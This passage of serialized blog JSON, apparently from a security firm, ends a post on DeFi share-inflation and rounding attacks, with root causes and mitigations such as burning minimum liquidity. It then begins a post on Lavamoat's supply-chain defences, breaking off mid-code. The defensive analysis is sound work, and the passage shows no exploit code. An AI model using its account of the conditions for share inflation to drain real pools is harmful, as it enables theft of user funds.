force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":22,"tag":23,"props":47981,"children":47982},{},[47983],{"type":27,"value":47984},"This is a really tricky invariant to reason about!",{"type":22,"tag":169,"props":47986,"children":47988},{"id":47987},"root-cause",[47989],{"type":27,"value":47990},"Root Cause",{"type":22,"tag":23,"props":47992,"children":47993},{},[47994],{"type":27,"value":47995},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":22,"tag":23,"props":47997,"children":47998},{},[47999],{"type":27,"value":48000},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":22,"tag":618,"props":48002,"children":48004},{"className":5768,"code":48003,"language":5767,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[48005],{"type":22,"tag":257,"props":48006,"children":48007},{"__ignoreMap":7},[48008],{"type":22,"tag":264,"props":48009,"children":48010},{"class":1534,"line":1535},[48011,48016,48020,48025,48029],{"type":22,"tag":264,"props":48012,"children":48013},{"style":1539},[48014],{"type":27,"value":48015},"totalDepositShares ",{"type":22,"tag":264,"props":48017,"children":48018},{"style":4309},[48019],{"type":27,"value":5865},{"type":22,"tag":264,"props":48021,"children":48022},{"style":1539},[48023],{"type":27,"value":48024}," _amount ",{"type":22,"tag":264,"props":48026,"children":48027},{"style":4309},[48028],{"type":27,"value":2891},{"type":22,"tag":264,"props":48030,"children":48031},{"style":1539},[48032],{"type":27,"value":48033}," pseudoTotalPool\n",{"type":22,"tag":23,"props":48035,"children":48036},{},[48037],{"type":27,"value":48038},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":22,"tag":23,"props":48040,"children":48041},{},[48042,48044,48048],{"type":27,"value":48043},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":22,"tag":1699,"props":48045,"children":48046},{},[48047],{"type":27,"value":21223},{"type":27,"value":48049}," integer division?",{"type":22,"tag":169,"props":48051,"children":48053},{"id":48052},"mitigations",[48054],{"type":27,"value":48055},"Mitigations",{"type":22,"tag":23,"props":48057,"children":48058},{},[48059],{"type":27,"value":48060},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":22,"tag":23,"props":48062,"children":48063},{},[48064,48066,48073],{"type":27,"value":48065},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":22,"tag":69,"props":48067,"children":48070},{"href":48068,"rel":48069},"https://twitter.com/danielvf/status/1746306320553152615",[73],[48071],{"type":27,"value":48072},"@danielvf notes",{"type":27,"value":48074},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":22,"tag":618,"props":48076,"children":48078},{"className":5768,"code":48077,"language":5767,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[48079],{"type":22,"tag":257,"props":48080,"children":48081},{"__ignoreMap":7},[48082,48106,48152,48186],{"type":22,"tag":264,"props":48083,"children":48084},{"class":1534,"line":1535},[48085,48089,48094,48098,48102],{"type":22,"tag":264,"props":48086,"children":48087},{"style":4328},[48088],{"type":27,"value":16879},{"type":22,"tag":264,"props":48090,"children":48091},{"style":1539},[48092],{"type":27,"value":48093}," (_totalSupply ",{"type":22,"tag":264,"props":48095,"children":48096},{"style":4309},[48097],{"type":27,"value":9870},{"type":22,"tag":264,"props":48099,"children":48100},{"style":4344},[48101],{"type":27,"value":4347},{"type":22,"tag":264,"props":48103,"children":48104},{"style":1539},[48105],{"type":27,"value":16103},{"type":22,"tag":264,"props":48107,"children":48108},{"class":1534,"line":1545},[48109,48114,48118,48123,48127,48132,48137,48142,48147],{"type":22,"tag":264,"props":48110,"children":48111},{"style":1539},[48112],{"type":27,"value":48113},"    liquidity ",{"type":22,"tag":264,"props":48115,"children":48116},{"style":4309},[48117],{"type":27,"value":429},{"type":22,"tag":264,"props":48119,"children":48120},{"style":1539},[48121],{"type":27,"value":48122}," Math.",{"type":22,"tag":264,"props":48124,"children":48125},{"style":4401},[48126],{"type":27,"value":2624},{"type":22,"tag":264,"props":48128,"children":48129},{"style":1539},[48130],{"type":27,"value":48131},"(amount0.",{"type":22,"tag":264,"props":48133,"children":48134},{"style":4401},[48135],{"type":27,"value":48136},"mul",{"type":22,"tag":264,"props":48138,"children":48139},{"style":1539},[48140],{"type":27,"value":48141},"(amount1)).",{"type":22,"tag":264,"props":48143,"children":48144},{"style":4401},[48145],{"type":27,"value":48146},"sub",{"type":22,"tag":264,"props":48148,"children":48149},{"style":1539},[48150],{"type":27,"value":48151},"(MINIMUM_LIQUIDITY);\n",{"type":22,"tag":264,"props":48153,"children":48154},{"class":1534,"line":1560},[48155,48160,48164,48168,48172,48176,48181],{"type":22,"tag":264,"props":48156,"children":48157},{"style":4401},[48158],{"type":27,"value":48159},"   _mint",{"type":22,"tag":264,"props":48161,"children":48162},{"style":1539},[48163],{"type":27,"value":2660},{"type":22,"tag":264,"props":48165,"children":48166},{"style":4722},[48167],{"type":27,"value":33956},{"type":22,"tag":264,"props":48169,"children":48170},{"style":1539},[48171],{"type":27,"value":2660},{"type":22,"tag":264,"props":48173,"children":48174},{"style":4344},[48175],{"type":27,"value":5334},{"type":22,"tag":264,"props":48177,"children":48178},{"style":1539},[48179],{"type":27,"value":48180},"), MINIMUM_LIQUIDITY); ",{"type":22,"tag":264,"props":48182,"children":48183},{"style":4284},[48184],{"type":27,"value":48185},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":22,"tag":264,"props":48187,"children":48188},{"class":1534,"line":1569},[48189,48194,48198],{"type":22,"tag":264,"props":48190,"children":48191},{"style":1539},[48192],{"type":27,"value":48193},"} ",{"type":22,"tag":264,"props":48195,"children":48196},{"style":4328},[48197],{"type":27,"value":4619},{"type":22,"tag":264,"props":48199,"children":48200},{"style":1539},[48201],{"type":27,"value":4594},{"type":22,"tag":23,"props":48203,"children":48204},{},[48205,48207,48214],{"type":27,"value":48206},"Alternatively, ",{"type":22,"tag":69,"props":48208,"children":48211},{"href":48209,"rel":48210},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[73],[48212],{"type":27,"value":48213},"storing the conversion rate separately",{"type":27,"value":48215}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":22,"tag":618,"props":48217,"children":48219},{"className":5768,"code":48218,"language":5767,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[48220],{"type":22,"tag":257,"props":48221,"children":48222},{"__ignoreMap":7},[48223,48258],{"type":22,"tag":264,"props":48224,"children":48225},{"class":1534,"line":1535},[48226,48231,48235,48240,48244,48249,48253],{"type":22,"tag":264,"props":48227,"children":48228},{"style":1539},[48229],{"type":27,"value":48230},"accrualIndices.borrowed ",{"type":22,"tag":264,"props":48232,"children":48233},{"style":4309},[48234],{"type":27,"value":429},{"type":22,"tag":264,"props":48236,"children":48237},{"style":1539},[48238],{"type":27,"value":48239}," accrualIndices.borrowed ",{"type":22,"tag":264,"props":48241,"children":48242},{"style":4309},[48243],{"type":27,"value":5865},{"type":22,"tag":264,"props":48245,"children":48246},{"style":1539},[48247],{"type":27,"value":48248}," borrowInterestFactor ",{"type":22,"tag":264,"props":48250,"children":48251},{"style":4309},[48252],{"type":27,"value":2891},{"type":22,"tag":264,"props":48254,"children":48255},{"style":1539},[48256],{"type":27,"value":48257}," precision;\n",{"type":22,"tag":264,"props":48259,"children":48260},{"class":1534,"line":1545},[48261,48266,48270,48275,48279,48284,48288],{"type":22,"tag":264,"props":48262,"children":48263},{"style":1539},[48264],{"type":27,"value":48265},"accrualIndices.deposited ",{"type":22,"tag":264,"props":48267,"children":48268},{"style":4309},[48269],{"type":27,"value":429},{"type":22,"tag":264,"props":48271,"children":48272},{"style":1539},[48273],{"type":27,"value":48274}," accrualIndices.deposited ",{"type":22,"tag":264,"props":48276,"children":48277},{"style":4309},[48278],{"type":27,"value":5865},{"type":22,"tag":264,"props":48280,"children":48281},{"style":1539},[48282],{"type":27,"value":48283}," depositInterestFactor ",{"type":22,"tag":264,"props":48285,"children":48286},{"style":4309},[48287],{"type":27,"value":2891},{"type":22,"tag":264,"props":48289,"children":48290},{"style":1539},[48291],{"type":27,"value":48257},{"type":22,"tag":23,"props":48293,"children":48294},{},[48295],{"type":27,"value":48296},"We also want to note some general takeaways:",{"type":22,"tag":23,"props":48298,"children":48299},{},[48300,48302,48307],{"type":27,"value":48301},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":22,"tag":1699,"props":48303,"children":48304},{},[48305],{"type":27,"value":48306},"apply the state changes and check the invariant",{"type":27,"value":210},{"type":22,"tag":23,"props":48309,"children":48310},{},[48311],{"type":27,"value":48312},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":22,"tag":23,"props":48314,"children":48315},{},[48316],{"type":27,"value":48317},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":22,"tag":169,"props":48319,"children":48320},{"id":30246},[48321],{"type":27,"value":20252},{"type":22,"tag":23,"props":48323,"children":48324},{},[48325],{"type":27,"value":48326},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":22,"tag":23,"props":48328,"children":48329},{},[48330],{"type":27,"value":48331},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":22,"tag":4139,"props":48333,"children":48334},{},[48335],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":48337},[48338,48339,48340,48344,48345,48346],{"id":30329,"depth":1545,"text":30332},{"id":47261,"depth":1545,"text":47264},{"id":47380,"depth":1545,"text":47383,"children":48341},[48342,48343],{"id":47391,"depth":1560,"text":47394},{"id":47429,"depth":1560,"text":47432},{"id":47987,"depth":1545,"text":47990},{"id":48052,"depth":1545,"text":48055},{"id":30246,"depth":1545,"text":20252},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":48351,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48352,"description":48353,"author":48354,"image":48355,"date":48357,"isFeatured":17,"onBlogPage":17,"body":48358,"_type":4157,"_id":51838,"_source":4159,"_file":51839,"_stem":51840,"_extension":4162},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[32516,32515],{"src":48356},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":19,"children":48359,"toc":51817},[48360,48364,48385,48390,48394,48399,48438,48444,48459,48477,48482,48487,48492,48505,48812,48838,48851,48856,48861,48875,48880,48893,48907,49138,49159,49194,49200,49205,49210,49424,49445,49451,49463,49553,49575,49611,49619,49637,49894,49920,49926,49940,50138,50157,50564,50577,50583,50602,50695,50700,50706,50719,50732,50818,50824,50836,50921,50933,50946,50952,50957,50971,51298,51303,51308,51314,51340,51395,51415,51468,51474,51479,51498,51509,51703,51709,51732,51738,51743,51756,51761,51766,51770,51775,51783,51813],{"type":22,"tag":169,"props":48361,"children":48362},{"id":20261},[48363],{"type":27,"value":20264},{"type":22,"tag":23,"props":48365,"children":48366},{},[48367,48374,48376,48383],{"type":22,"tag":69,"props":48368,"children":48371},{"href":48369,"rel":48370},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[73],[48372],{"type":27,"value":48373},"Supply chain",{"type":27,"value":48375}," attacks are becoming ",{"type":22,"tag":69,"props":48377,"children":48380},{"href":48378,"rel":48379},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[73],[48381],{"type":27,"value":48382},"increasingly popular in Web3",{"type":27,"value":48384},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":22,"tag":23,"props":48386,"children":48387},{},[48388],{"type":27,"value":48389},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":22,"tag":181,"props":48391,"children":48392},{"id":30329},[48393],{"type":27,"value":30332},{"type":22,"tag":23,"props":48395,"children":48396},{},[48397],{"type":27,"value":48398},"It is important to note that there are three different versions of LavaMoat:",{"type":22,"tag":1867,"props":48400,"children":48401},{},[48402,48414,48426],{"type":22,"tag":1871,"props":48403,"children":48404},{},[48405,48412],{"type":22,"tag":69,"props":48406,"children":48409},{"href":48407,"rel":48408},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[73],[48410],{"type":27,"value":48411},"Lavamoat Browserify",{"type":27,"value":48413}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":22,"tag":1871,"props":48415,"children":48416},{},[48417,48424],{"type":22,"tag":69,"props":48418,"children":48421},{"href":48419,"rel":48420},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[73],[48422],{"type":27,"value":48423},"NodeJS Lavamoat",{"type":27,"value":48425}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":22,"tag":1871,"props":48427,"children":48428},{},[48429,48436],{"type":22,"tag":69,"props":48430,"children":48433},{"href":48431,"rel":48432},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[73],[48434],{"type":27,"value":48435},"Lavamoat allow-scripts",{"type":27,"value":48437}," are used to prevent malicious code execution on lifecycle scripts.",{"type":22,"tag":181,"props":48439,"children":48441},{"id":48440},"lavamoats-security-features",[48442],{"type":27,"value":48443},"Lavamoat's Security Features",{"type":22,"tag":23,"props":48445,"children":48446},{},[48447,48449,48457],{"type":27,"value":48448},"The three most important features of Lavamoat",{"type":22,"tag":16773,"props":48450,"children":48451},{},[48452],{"type":22,"tag":69,"props":48453,"children":48455},{"href":30937,"ariaDescribedBy":48454,"dataFootnoteRef":7,"id":30939},[16780],[48456],{"type":27,"value":602},{"type":27,"value":48458}," are:",{"type":22,"tag":17988,"props":48460,"children":48461},{},[48462,48467,48472],{"type":22,"tag":1871,"props":48463,"children":48464},{},[48465],{"type":27,"value":48466},"Policy Files",{"type":22,"tag":1871,"props":48468,"children":48469},{},[48470],{"type":27,"value":48471},"NPM Anti Hijacking",{"type":22,"tag":1871,"props":48473,"children":48474},{},[48475],{"type":27,"value":48476},"Scuttling",{"type":22,"tag":23,"props":48478,"children":48479},{},[48480],{"type":27,"value":48481},"Let's go over them one by one.",{"type":22,"tag":20197,"props":48483,"children":48485},{"id":48484},"policy-files",[48486],{"type":27,"value":48466},{"type":22,"tag":23,"props":48488,"children":48489},{},[48490],{"type":27,"value":48491},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":22,"tag":23,"props":48493,"children":48494},{},[48495,48497,48504],{"type":27,"value":48496},"For example, take the ",{"type":22,"tag":69,"props":48498,"children":48501},{"href":48499,"rel":48500},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[73],[48502],{"type":27,"value":48503},"Metamask Snap policy file",{"type":27,"value":5785},{"type":22,"tag":618,"props":48506,"children":48508},{"className":32678,"code":48507,"language":32680,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[48509],{"type":22,"tag":257,"props":48510,"children":48511},{"__ignoreMap":7},[48512,48524,48539,48559,48578,48598,48618,48638,48658,48678,48699,48719,48738,48754,48761,48776,48796],{"type":22,"tag":264,"props":48513,"children":48514},{"class":1534,"line":1535},[48515,48520],{"type":22,"tag":264,"props":48516,"children":48517},{"style":1597},[48518],{"type":27,"value":48519},"   \"@metamask/providers\"",{"type":22,"tag":264,"props":48521,"children":48522},{"style":1539},[48523],{"type":27,"value":1580},{"type":22,"tag":264,"props":48525,"children":48526},{"class":1534,"line":1545},[48527,48531,48535],{"type":22,"tag":264,"props":48528,"children":48529},{"style":1597},[48530],{"type":27,"value":38344},{"type":22,"tag":264,"props":48532,"children":48533},{"style":1549},[48534],{"type":27,"value":5785},{"type":22,"tag":264,"props":48536,"children":48537},{"style":1539},[48538],{"type":27,"value":4594},{"type":22,"tag":264,"props":48540,"children":48541},{"class":1534,"line":1560},[48542,48547,48551,48555],{"type":22,"tag":264,"props":48543,"children":48544},{"style":1597},[48545],{"type":27,"value":48546},"        \"Event\"",{"type":22,"tag":264,"props":48548,"children":48549},{"style":1549},[48550],{"type":27,"value":5785},{"type":22,"tag":264,"props":48552,"children":48553},{"style":4293},[48554],{"type":27,"value":13768},{"type":22,"tag":264,"props":48556,"children":48557},{"style":1539},[48558],{"type":27,"value":4812},{"type":22,"tag":264,"props":48560,"children":48561},{"class":1534,"line":1569},[48562,48566,48570,48574],{"type":22,"tag":264,"props":48563,"children":48564},{"style":1597},[48565],{"type":27,"value":38396},{"type":22,"tag":264,"props":48567,"children":48568},{"style":1549},[48569],{"type":27,"value":5785},{"type":22,"tag":264,"props":48571,"children":48572},{"style":4293},[48573],{"type":27,"value":13768},{"type":22,"tag":264,"props":48575,"children":48576},{"style":1539},[48577],{"type":27,"value":4812},{"type":22,"tag":264,"props":48579,"children":48580},{"class":1534,"line":1583},[48581,48586,48590,48594],{"type":22,"tag":264,"props":48582,"children":48583},{"style":1597},[48584],{"type":27,"value":48585},"        \"chrome.runtime.connect\"",{"type":22,"tag":264,"props":48587,"children":48588},{"style":1549},[48589],{"type":27,"value":5785},{"type":22,"tag":264,"props":48591,"children":48592},{"style":4293},[48593],{"type":27,"value":13768},{"type":22,"tag":264,"props":48595,"children":48596},{"style":1539},[48597],{"type":27,"value":4812},{"type":22,"tag":264,"props":48599,"children":48600},{"class":1534,"line":1603},[48601,48606,48610,48614],{"type":22,"tag":264,"props":48602,"children":48603},{"style":1597},[48604],{"type":27,"value":48605},"        \"console\"",{"type":22,"tag":264,"props":48607,"children":48608},{"style":1549},[48609],{"type":27,"value":5785},{"type":22,"tag":264,"props":48611,"children":48612},{"style":4293},[48613],{"type":27,"value":13768},{"type":22,"tag":264,"props":48615,"children":48616},{"style":1539},[48617],{"type":27,"value":4812},{"type":22,"tag":264,"props":48619,"children":48620},{"class":1534,"line":1612},[48621,48626,48630,48634],{"type":22,"tag":264,"props":48622,"children":48623},{"style":1597},[48624],{"type":27,"value":48625},"        \"dispatchEvent\"",{"type":22,"tag":264,"props":48627,"children":48628},{"style":1549},[48629],{"type":27,"value":5785},{"type":22,"tag":264,"props":48631,"children":48632},{"style":4293},[48633],{"type":27,"value":13768},{"type":22,"tag":264,"props":48635,"children":48636},{"style":1539},[48637],{"type":27,"value":4812},{"type":22,"tag":264,"props":48639,"children":48640},{"class":1534,"line":1621},[48641,48646,48650,48654],{"type":22,"tag":264,"props":48642,"children":48643},{"style":1597},[48644],{"type":27,"value":48645},"        \"document.createElement\"",{"type":22,"tag":264,"props":48647,"children":48648},{"style":1549},[48649],{"type":27,"value":5785},{"type":22,"tag":264,"props":48651,"children":48652},{"style":4293},[48653],{"type":27,"value":13768},{"type":22,"tag":264,"props":48655,"children":48656},{"style":1539},[48657],{"type":27,"value":4812},{"type":22,"tag":264,"props":48659,"children":48660},{"class":1534,"line":1629},[48661,48666,48670,48674],{"type":22,"tag":264,"props":48662,"children":48663},{"style":1597},[48664],{"type":27,"value":48665},"        \"document.readyState\"",{"type":22,"tag":264,"props":48667,"children":48668},{"style":1549},[48669],{"type":27,"value":5785},{"type":22,"tag":264,"props":48671,"children":48672},{"style":4293},[48673],{"type":27,"value":13768},{"type":22,"tag":264,"props":48675,"children":48676},{"style":1539},[48677],{"type":27,"value":4812},{"type":22,"tag":264,"props":48679,"children":48680},{"class":1534,"line":1642},[48681,48686,48690,48695],{"type":22,"tag":264,"props":48682,"children":48683},{"style":1597},[48684],{"type":27,"value":48685},"        \"ethereum\"",{"type":22,"tag":264,"props":48687,"children":48688},{"style":1549},[48689],{"type":27,"value":5785},{"type":22,"tag":264,"props":48691,"children":48692},{"style":1597},[48693],{"type":27,"value":48694}," \"write\"",{"type":22,"tag":264,"props":48696,"children":48697},{"style":1539},[48698],{"type":27,"value":4812},{"type":22,"tag":264,"props":48700,"children":48701},{"class":1534,"line":1660},[48702,48707,48711,48715],{"type":22,"tag":264,"props":48703,"children":48704},{"style":1597},[48705],{"type":27,"value":48706},"        \"location.hostname\"",{"type":22,"tag":264,"props":48708,"children":48709},{"style":1549},[48710],{"type":27,"value":5785},{"type":22,"tag":264,"props":48712,"children":48713},{"style":4293},[48714],{"type":27,"value":13768},{"type":22,"tag":264,"props":48716,"children":48717},{"style":1539},[48718],{"type":27,"value":4812},{"type":22,"tag":264,"props":48720,"children":48721},{"class":1534,"line":1668},[48722,48726,48730,48734],{"type":22,"tag":264,"props":48723,"children":48724},{"style":1597},[48725],{"type":27,"value":38496},{"type":22,"tag":264,"props":48727,"children":48728},{"style":1549},[48729],{"type":27,"value":5785},{"type":22,"tag":264,"props":48731,"children":48732},{"style":4293},[48733],{"type":27,"value":13768},{"type":22,"tag":264,"props":48735,"children":48736},{"style":1539},[48737],{"type":27,"value":4812},{"type":22,"tag":264,"props":48739,"children":48740},{"class":1534,"line":1677},[48741,48746,48750],{"type":22,"tag":264,"props":48742,"children":48743},{"style":1597},[48744],{"type":27,"value":48745},"        \"web3\"",{"type":22,"tag":264,"props":48747,"children":48748},{"style":1549},[48749],{"type":27,"value":5785},{"type":22,"tag":264,"props":48751,"children":48752},{"style":4293},[48753],{"type":27,"value":47869},{"type":22,"tag":264,"props":48755,"children":48756},{"class":1534,"line":1686},[48757],{"type":22,"tag":264,"props":48758,"children":48759},{"style":1539},[48760],{"type":27,"value":38513},{"type":22,"tag":264,"props":48762,"children":48763},{"class":1534,"line":4948},[48764,48768,48772],{"type":22,"tag":264,"props":48765,"children":48766},{"style":1597},[48767],{"type":27,"value":38521},{"type":22,"tag":264,"props":48769,"children":48770},{"style":1549},[48771],{"type":27,"value":5785},{"type":22,"tag":264,"props":48773,"children":48774},{"style":1539},[48775],{"type":27,"value":4594},{"type":22,"tag":264,"props":48777,"children":48778},{"class":1534,"line":4957},[48779,48784,48788,48792],{"type":22,"tag":264,"props":48780,"children":48781},{"style":1597},[48782],{"type":27,"value":48783},"        \"@metamask/object-multiplex\"",{"type":22,"tag":264,"props":48785,"children":48786},{"style":1549},[48787],{"type":27,"value":5785},{"type":22,"tag":264,"props":48789,"children":48790},{"style":4293},[48791],{"type":27,"value":13768},{"type":22,"tag":264,"props":48793,"children":48794},{"style":1539},[48795],{"type":27,"value":4812},{"type":22,"tag":264,"props":48797,"children":48798},{"class":1534,"line":4980},[48799,48804,48808],{"type":22,"tag":264,"props":48800,"children":48801},{"style":1597},[48802],{"type":27,"value":48803},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":22,"tag":264,"props":48805,"children":48806},{"style":1549},[48807],{"type":27,"value":5785},{"type":22,"tag":264,"props":48809,"children":48810},{"style":4293},[48811],{"type":27,"value":47869},{"type":22,"tag":23,"props":48813,"children":48814},{},[48815,48816,48821,48823,48828,48830,48836],{"type":27,"value":17914},{"type":22,"tag":257,"props":48817,"children":48819},{"className":48818},[],[48820],{"type":27,"value":38586},{"type":27,"value":48822}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":22,"tag":257,"props":48824,"children":48826},{"className":48825},[],[48827],{"type":27,"value":38594},{"type":27,"value":48829}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":22,"tag":257,"props":48831,"children":48833},{"className":48832},[],[48834],{"type":27,"value":48835},"@metamask/providers",{"type":27,"value":48837}," interacts with other packages.",{"type":22,"tag":23,"props":48839,"children":48840},{},[48841,48843,48849],{"type":27,"value":48842},"To enforce these policies, LavaMoat uses ",{"type":22,"tag":257,"props":48844,"children":48846},{"className":48845},[],[48847],{"type":27,"value":48848},"lavapack",{"type":27,"value":48850},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":22,"tag":20197,"props":48852,"children":48854},{"id":48853},"npm-anti-hijacking",[48855],{"type":27,"value":48471},{"type":22,"tag":23,"props":48857,"children":48858},{},[48859],{"type":27,"value":48860},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":22,"tag":23,"props":48862,"children":48863},{},[48864,48866,48873],{"type":27,"value":48865},"Instead, Lavamoat looks at how each package is connected by ",{"type":22,"tag":69,"props":48867,"children":48870},{"href":48868,"rel":48869},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[73],[48871],{"type":27,"value":48872},"walking the modules",{"type":27,"value":48874}," in a project's dependency tree, thus generating a unique name for each package.",{"type":22,"tag":20197,"props":48876,"children":48878},{"id":48877},"scuttling",[48879],{"type":27,"value":48476},{"type":22,"tag":23,"props":48881,"children":48882},{},[48883,48885,48891],{"type":27,"value":48884},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":22,"tag":257,"props":48886,"children":48888},{"className":48887},[],[48889],{"type":27,"value":48890},"GlobalThis",{"type":27,"value":48892}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":22,"tag":23,"props":48894,"children":48895},{},[48896,48898,48905],{"type":27,"value":48897},"For example, ",{"type":22,"tag":69,"props":48899,"children":48902},{"href":48900,"rel":48901},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[73],[48903],{"type":27,"value":48904},"here",{"type":27,"value":48906}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":22,"tag":618,"props":48908,"children":48910},{"className":32678,"code":48909,"language":32680,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[48911],{"type":22,"tag":257,"props":48912,"children":48913},{"__ignoreMap":7},[48914,48943,48993,49052,49059,49131],{"type":22,"tag":264,"props":48915,"children":48916},{"class":1534,"line":1535},[48917,48921,48925,48930,48934,48939],{"type":22,"tag":264,"props":48918,"children":48919},{"style":4328},[48920],{"type":27,"value":13578},{"type":22,"tag":264,"props":48922,"children":48923},{"style":1539},[48924],{"type":27,"value":4370},{"type":22,"tag":264,"props":48926,"children":48927},{"style":1549},[48928],{"type":27,"value":48929},"scuttleOpts",{"type":22,"tag":264,"props":48931,"children":48932},{"style":1539},[48933],{"type":27,"value":210},{"type":22,"tag":264,"props":48935,"children":48936},{"style":1549},[48937],{"type":27,"value":48938},"enabled",{"type":22,"tag":264,"props":48940,"children":48941},{"style":1539},[48942],{"type":27,"value":16103},{"type":22,"tag":264,"props":48944,"children":48945},{"class":1534,"line":1545},[48946,48950,48954,48958,48963,48967,48972,48976,48980,48984,48989],{"type":22,"tag":264,"props":48947,"children":48948},{"style":4328},[48949],{"type":27,"value":40601},{"type":22,"tag":264,"props":48951,"children":48952},{"style":1539},[48953],{"type":27,"value":4370},{"type":22,"tag":264,"props":48955,"children":48956},{"style":4309},[48957],{"type":27,"value":21928},{"type":22,"tag":264,"props":48959,"children":48960},{"style":1549},[48961],{"type":27,"value":48962},"Array",{"type":22,"tag":264,"props":48964,"children":48965},{"style":1539},[48966],{"type":27,"value":210},{"type":22,"tag":264,"props":48968,"children":48969},{"style":4401},[48970],{"type":27,"value":48971},"isArray",{"type":22,"tag":264,"props":48973,"children":48974},{"style":1539},[48975],{"type":27,"value":2660},{"type":22,"tag":264,"props":48977,"children":48978},{"style":1549},[48979],{"type":27,"value":48929},{"type":22,"tag":264,"props":48981,"children":48982},{"style":1539},[48983],{"type":27,"value":210},{"type":22,"tag":264,"props":48985,"children":48986},{"style":1549},[48987],{"type":27,"value":48988},"exceptions",{"type":22,"tag":264,"props":48990,"children":48991},{"style":1539},[48992],{"type":27,"value":36508},{"type":22,"tag":264,"props":48994,"children":48995},{"class":1534,"line":1560},[48996,49001,49005,